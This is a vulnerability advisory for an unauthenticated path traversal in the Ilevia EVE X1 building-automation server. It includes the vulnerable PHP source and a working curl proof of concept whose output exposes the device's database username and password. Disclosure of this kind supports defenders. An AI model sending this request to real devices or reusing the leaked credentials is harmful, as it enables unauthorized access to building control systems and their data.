Ilevia EVE X1 Server 4.7.18.0.eden Parameter Traversal Arbitrary File Access


Vendor: Ilevia Srl.
Product web page: https://www.ilevia.com
Affected version: <=4.7.18.0.eden

Summary: EVE is a smart home and building automation solution designed
for both residential and commercial environments, including malls, hotels,
restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive
control and monitoring of electrical installations through a highly customizable,
user-friendly interface.

EVE is a multi-protocol platform that integrates various systems within
a smart building to enhance comfort, security, safety, and energy efficiency.
Users can manage building functions via iPhone, iPad, Android devices, Windows
PCs, or Mac computers.

The EVE X1 Server is the dedicated hardware solution for advanced building
automation needs. Compact and powerful, it is ideal for apartments, small
to medium-sized homes, and smaller commercial installations. It is designed
to manage entire automation systems reliably and efficiently.

Desc: An unauthenticated absolute and relative path traversal vulnerability exists
in the smart home/building automation platform via the /ajax/php/get_file_content.php
endpoint. By supplying a crafted 'file' POST parameter, a remote attacker can
read arbitrary files from the server's file system, resulting in sensitive
information disclosure.

-----------------------------------------------------------------------------
/ajax/php/get_file_content.php:
-------------------------------
01: <?php
02:     if(isset($_POST["file"]) === FALSE) {
03:         echo "No file specified!";
04:         exit(1);
05:     }
06:
07:     $file = $_POST["file"];
08:     if(file_exists($file)){
09:         die(file_get_contents($file));
10:     }
11: ?>
-----------------------------------------------------------------------------

Tested on: GNU/Linux 5.4.35 (armv7l)
           GNU/Linux 4.19.97 (armv7l)
           Armbian 20.02.1 Buster
           Apache/2.4.38 (Debian)
           PHP Version 7.3.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5960
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5960.php
CVE ID: CVE-2025-34517
        CVE-2025-34518
CVE URL: https://www.cve.org/CVERecord?id=CVE-2025-34517
         https://www.cve.org/CVERecord?id=CVE-2025-34518


01.05.2024

--


$ curl "http://ilevia:8080/ajax/php/get_file_content.php" \
> -d "file=/home/ilevia/www-config/http/ajax/php/db_eve.php"
<?php

$strConnection = "localhost:/ilevia/eve/bin/data/db/bh.data";
$strUser = "ileviasystems";
$strPass = "ilevia919firebird";
$strCharSet = "UTF8";
$strRoule = "3";
...
...